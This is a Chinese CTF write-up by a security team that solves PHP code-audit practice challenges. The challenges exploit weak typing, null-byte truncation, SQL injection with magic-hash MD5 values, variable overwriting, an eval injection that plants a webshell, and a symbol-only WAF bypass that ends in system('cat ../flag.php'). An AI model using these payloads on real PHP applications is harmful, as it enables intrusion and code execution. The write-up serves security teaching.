【代码审计】PHP代码审计之CTF系列(1)

栏目: IT技术 · 发布时间: 4年前

【代码审计】PHP代码审计之CTF系列(1)

声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和 工具 仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

采用github yaofeifly师傅的 PHP 练习,链接:https://github.com/yaofeifly/PHP_Code_Challenge。每个内容均采用docker。部署过程:进入对应的docker_env,使用

docker-compose build

docker-compose up -d

进入对应 docker 进程,查看地址访问即可。

challenge 1

访问地址,发现源码

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

<?php


error_reporting(0);

require __DIR__.'/lib.php';


echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';


highlight_file(__FILE__);

题目给出字符串:

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

页面给定相关的加密代码,进行反解。

编写解密函数方法:

<?php

$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";


echo hex2bin(strrev(bin2hex(base64_decode($str))));

?>

即可得到 【代码审计】PHP代码审计之CTF系列(1)

补充:

bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。


strrev() 函数反转字符串。


hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

challenge 2

题目内容:

<?php

error_reporting(0);

require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){

echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){

echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){

echo 'This time is too long.';

}else{

sleep((int)$_GET['time']);

echo $flag;

}

echo '<hr>';

}

highlight_file(__FILE__);

可以看出,如果想要得到flag,需要大于5184000并且小于7776000,但是发现得到flag之前会执行输入时间的sleep,怕不是要等到猴年马月了。

所以思路选择弱比较。

<?php

echo 6e6;

echo "\n";

echo (int)'6e6';

?>

得出结果: 【代码审计】PHP代码审计之CTF系列(1)

补充:

1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)

3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。

challenge 3

题目内容:

【代码审计】PHP代码审计之CTF系列(1)

访问后发现没有什么内容,查看一下源码。

【代码审计】PHP代码审计之CTF系列(1)

发现存在challenge3.txt文件,尝试访问。

发现源码

<?php

error_reporting(0);

echo "<!--challenge3.txt-->";

require __DIR__.'/lib.php';

if(!$_GET['id'])

{

header('Location: challenge3.php?id=1');

exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))

{

echo 'Hahahahahaha';

return ;

}

$data = @file_get_contents($a,'r');

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

echo $flag;

}

else

{

print "work harder!harder!harder!";

}

?>


stripos()

stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)

strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)

strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。

file_get_contents()

file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误

PHP中fopen,file_get_contents,curl函数的区别:

1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。

2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。

3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。

4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。

eregi()

eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。

题目

观察完代码后发现为php弱类型绕过。

首先a,进行POST传递。

当data可以通过php://input来接受post数据。

$id传一个字符进去,会被转化为0。

对于b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。

可以设置$b为%00111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时%00不会对strlen()造成影响。

构造payload:

?id=a&a=php://input&b=%00111111

1112 is a nice lab!

【代码审计】PHP代码审计之CTF系列(1)

challenge4

打开后发现源码

<?php

error_reporting(0);

show_source(__FILE__);


$a = @$_REQUEST['hello'];

eval("var_dump($a);");

发现可构造php一句话木马

构造paypoad:

?hello=);eval($_POST['A']);%2f%2f

当var_dump($a);后的结果为:

string(22) ");eval($_POST['A']);//"

与前面代码进行拼凑后为:

eval("string(21) ");eval($_POST['A']);//"");

使用菜刀连接 【代码审计】PHP代码审计之CTF系列(1)

【代码审计】PHP代码审计之CTF系列(1)

challenge5

打开页面,点击View the source code,查看登陆逻辑源码内容

<?php

if (isset($_GET['name']) and isset($_GET['password'])) {

if ($_GET['name'] == $_GET['password'])

echo '<p>Your password can not be your name!</p>';

else if (sha1($_GET['name']) === sha1($_GET['password']))

die('Flag: '.$flag);

else

echo '<p>Invalid password.</p>';

}

else{

echo '<p>Login first!</p>';

?>

isset()

isset()函数:检测变量是否设置

题目

发现登陆逻辑要求,name和password不能相同,但之后的sha1判断又使用了===,所以不存在所类型比较的问题。

其中sha1不能处理数组,当传入name[]=1&password[]=2时,会造成sha1(Array)=sha1(Array),即NULL===NULL,从而获取flag。

测试:

<?php

$name = $_GET['name'];

var_dump(@sha1($name));

?>

【代码审计】PHP代码审计之CTF系列(1)

结果为NULL

构造payload:

?name[]=1&password[]=2
【代码审计】PHP代码审计之CTF系列(1)

challenge6

访问地址
【代码审计】PHP代码审计之CTF系列(1)

查看源码,发现source.txt

<html>

<head>

welcome to simplexue

</head>

<body>

<form method=post action=challenge6.php>

<input type=text name=user value="Username">

<input type=password name=pass value="Password">

<input type=submit>

</form>

</body>

<a href="source.txt">

</html>

访问发现源码

<?php

if($_POST[user] && $_POST[pass]) {

$conn = mysql_connect("********", "*****", "********");

mysql_select_db("challenges") or die("Could not select database");

if ($conn->connect_error) {

die("Connection failed: " . mysql_error($conn));

}

$user = $_POST[user];

$pass = md5($_POST[pass]);

$sql = "select pwd from interest where uname='$user'";

$query = mysql_query($sql);

if (!$query) {

printf("Error: %s\n", mysql_error($conn));

exit();

}

$row = mysql_fetch_array($query, MYSQL_ASSOC);

//echo $row["pwd"];

if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {

echo "<p>Logged in! Key:************** </p>";

}

else {

echo("<p>Log in failure!</p>");

}

}

?>

mysql_fetch_array()

mysql_fetch_array():从结果集中取得一行作为数字数组或关联数组

strcasecmp()

strcasecmp():比较两个字符串(不区分大小写)

题目

发现查询用户处的 sql 语句没有进行过滤,存在sql注入

构造payload:

 user=' union select "0e830400451993494058024219903391"

构成的sql语句为:

 select pwd from interest where uname=' ' union select "0e830400451993494058024219903391"

第一个查询结果为空,返回值为0e830400451993494058024219903391

所以$row[pw]=0e830400451993494058024219903391

而md5(QNKCDZO)正是0e830400451993494058024219903391

最后payload:

 user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO

challenge 8

打开发现没有任何提示,扫描文件,发现challenge7.txt

发现源码

<?php

include "flag.php";

$_403 = "Access Denied";

$_200 = "Welcome Admin";

if ($_SERVER["REQUEST_METHOD"] != "POST")

die("BugsBunnyCTF is here :p...");

if ( !isset($_POST["flag"]) )

die($_403);

foreach ($_GET as $key => $value)

$$key = $$value;

foreach ($_POST as $key => $value)

$$key = $value;

if ( $_POST["flag"] !== $flag )

die($_403);

echo "This is your flag : ". $flag . "\n";

die($_200);

发现其中为变量覆盖漏洞。

$_SERVER["REQUEST_METHOD"]

$_SERVER["REQUEST_METHOD"]是指表单提交的方式为,GET或POST

foreach

foreach:循环结构,是遍历数组时常用的方法,foreach仅能够应用于数组和对象,如果尝试其他类型的变量或者末初始化的变量将发出错误信息。

两种语法:

//格式1

foreach (array_expression as $value){

statement

}

//格式2

foreach (array_expression as $key => $value){

statement

}

第一种格式遍历:

array_expression数组时,每次循环将数组的值赋给$value

第二种格式遍历:

不仅将数组赋给key

比如:

<?php

$array = [0, 1, 2];

foreach ($array as $val){

echo "值是:" . $val ;

echo "<br/>";

//var_dump(current($array));

}

foreach ($array as $key => $value) {

echo "键名是:" . $key . "值是:" . $value;

echo "<br/>";

}

?>

结果为:

值是:0

值是:1

值是:2

键名是:0值是:0

键名是:1值是:1

键名是:2值是:2

foreach在PHP5和PHP7中的区别:

在PHP 5中,当foreach开始循环执行时,每次数组内部的指针都会自动向后移动一个单元,但在PHP 7中则不是。

比如:

<?php

$array = [0, 1, 2];

foreach ($array as $val){

var_dump(current($array));

}

?>

在PHP 5中输出结果为:

int(0) int(1) int(2)

但在PHP 7中输出结果为:

int(0) int(0) int(0)

在PHP 7中,按照值进行循环时,foreach是对数组的复制操作,在循环过程中对数组的修改不会影响循环行为,但在PHP 5中会有影响。

比如:

<?php

$array = [0, 1, 2];

//$ref =& $array; // Necessary to trigger the old behavior

foreach ($array as $val) {

var_dump($val);

unset($array[1]);

}

?>

在PHP 7中输出结果为:

int(0) int(1) int(2)

在PHP 5中输出结果为:

int(0) int(2)

在PHP 7中按照引用循环的时候对数组的修改会影响循环,在PHP 5中则不会改变

比如:

<?php

$array = [0];

foreach ($array as &$val) {

var_dump($val);

$array[1] = 1;

$array[2] = 2;

}

?>

在PHP 7中运行结果:

int(0) int(1) int(2)

在PHP 5中运行结果:

int(0)

die()

die()函数:输出一条信息,并退出当前脚本。

该函数为exit()函数的别名。

语法:die(status)

如果status是字符串,则该函数会在退出输出字符串。

如果status是整数,这个值就会被用作退出状态。退出状态的值在0~254之间。退出状态255由PHP保留,不会被使用,状态0用于成功的终止程序。

注意:如果PHP的版本号大于4.2.0,那么在stasus是整数的情况下,不会输出该数字。

变量覆盖漏洞:

其中经常导致的有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等。

  • 全局变量覆盖:register_globals的意思是注册为全局变量,当其为On的时候,传递过的值会直接被全局变量所使用,而Off的时候,需要到特定的数组中得到。

  • parse_str()变量覆盖:parse_str()函数把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已有的同名变量。parse_str()类似的函数还有mb_parse_str(),用法基本一直。

  • import_request_variables变量覆盖:import_request_variables函数可以在register_global=off时,把GET/POST/Cookie变量导入全局作用域中。

题目分析

明白原理后,观察程序

要求在POST语句中有flag,同时在第二个foreach中又把$flag直接覆盖,所以可以确定,通过echo语句输出的flag是被修改过的。

观察其他部分。

1、发现die(_200的值覆盖为原flag的值。

构造payload:

?_200=flag

POST:

flag=1


【代码审计】PHP代码审计之CTF系列(1)

2、发现die(__403上,然后构造flag,从而die($403)输出结果。

构造payload:

?_403=flag&POST=1


POST:

flag=


【代码审计】PHP代码审计之CTF系列(1)

challenge 8

打开之后,发现PHP逻辑源码

<?php

ini_set("display_errors", "On");

error_reporting(E_ALL | E_STRICT);

if(!isset($_GET['c'])){

show_source(__FILE__);

die();

}

function rand_string( $length ) {

$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

$size = strlen( $chars );

$str = '';

for( $i = 0; $i < $length; $i++)

{

$str .= $chars[ rand( 0, $size - 1 ) ];

}

return $str;

}

$data = $_GET['c'];

$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');

foreach ($black_list as $b) {

if (stripos($data, $b) !== false){

die("WAF!");

}

}

$filename=rand_string(0x20).'.php';

$folder='uploads/';

$full_filename = $folder.$filename;

if(file_put_contents($full_filename, '<?php '.$data)){

echo "<a href='".$full_filename."'>WebShell</a></br>";

echo "Enjoy your webshell~";

}else{

echo "Some thing wrong...";

}

?>

ini_set

PHP ini_set用来设置php.ini的值,在函数执行时生效,脚本结束后,设置失效。不需要打开php.ini文件就可以修改。

常见的设置:

@ini_set('memory_limit','64M'):设置一个脚本所能够申请到的最大内存字节数。@符号表示不输出错误


@ini_set('display_errors','1'):设置错误信息的类别


@ini_set('session.auto_start','0'):是否自动开session处理,设置为1时,程序不用session_start()来手动开启session也可使用session。设置为0时,如果没有手动开启session,就会报错


@ini_set('session.cache_expire',180):指定会话页面在客户端cache中的有限期(分钟)缺省值为180分钟,如果设置了session.cache_limiter=nocache时,此处设置无效。


@ini_set('session.use_cookies','1'):是否使用cookie在客户端保存会话ID。


@ini_set('session.use_trans_sid','0'):是否使用明码在URL中显示SID(会话ID),默认是禁止状态。

error_reporting()函数

error_reporting()函数规定报告哪个错误。该函数设置当前脚本的错误报告级别。该函数返回旧的错误报告级别。

规定不停的错误级别报告:

<?php

// 关闭错误报告

error_reporting(0);


// 报告 runtime 错误

error_reporting(E_ERROR | E_WARNING | E_PARSE);


// 报告所有错误

error_reporting(E_ALL);


// 等同 error_reporting(E_ALL);

ini_set("error_reporting", E_ALL);


// 报告 E_NOTICE 之外的所有错误

error_reporting(E_ALL & ~E_NOTICE);

?>

file_put_contents()函数

file_put_contents()函数把一个字符串写入文件中。该函数访问文件时,遵循一下规则:

1、如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径

2、如果文件不存在,将创建一个文件

3、打开文件

4、如果设置了 LOCK_EX,那么将锁定文件

5、如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容

6、向文件中写入数据

7、关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

题目

分析逻辑源码,发现总体代码可以分成两大部分。

第一部分对生成的文件进行命名处理,第二部分则是对内容的过滤,也就是WAF。

观察过滤内容,发现过滤了大部分字符、数字、字母。

所以这个地方应该使用PHP中异或的用法,查看了p师傅等几个师傅的文章。

简单来说就是通过对两个字符串转化为ASCII值,再将ASCII值转换成二进制,然后在进行异或,异或完将结果再次从二进制转化为ASCII值,最后转化成字符串

比如:

<?php

echo "A"^"?";

?>


运行结果:~

<?php

@$_++; // $_ = 1

$__=("#"^"|"); // $__ = _

$__.=("."^"~"); // _P

$__.=("/"^"`"); // _PO

$__.=("|"^"/"); // _POS

$__.=("{"^"/"); // _POST

${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

?>

构造payload:

<?php

$_=[].[];

$__='';

$_=$_[''];

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$__.=$_; // E

$_=++$_;

$_=++$_;

$__=$_.$__; // GE

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$__.=$_; // GET

var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

定义两个空数组,取产生的字符串'ArrayArray',然后依次从A开始取,使参数$_进行自加,也就是'A'+'A'='B'。拼凑GET,最后使用同样方法构造。

最后对其进行url编码

完整payload:

?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

使用刚刚定义的参数_和__进行命令执行

?_=system&__=cat%20../flag.php
【代码审计】PHP代码审计之CTF系列(1)

【代码审计】PHP代码审计之CTF系列(1)

guān

zhù

men

Tide安全团队正式成立于2019年1月 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

【代码审计】PHP代码审计之CTF系列(1)

【代码审计】PHP代码审计之CTF系列(1)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

TCP/IP详解 卷1:协议

TCP/IP详解 卷1:协议

W.Richard Stevens / 范建华 / 机械工业出版社 / 2000-4-1 / 45.00元

《TCP/IP详解卷1:协议》是一本完整而详细的TCP/IP协议指南。描述了属于每一层的各个协议以及它们如何在不同操作系统中运行。作者W.Richard Stevens用Lawrence Berkeley实验室的tcpdump程序来捕获不同操作系统和TCP/IP实现之间传输的不同分组。对tcpdump输出的研究可以帮助理解不同协议如何工作。 《TCP/IP详解卷1:协议》适合作为计算机专业学......一起来看看 《TCP/IP详解 卷1:协议》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

MD5 加密
MD5 加密

MD5 加密工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具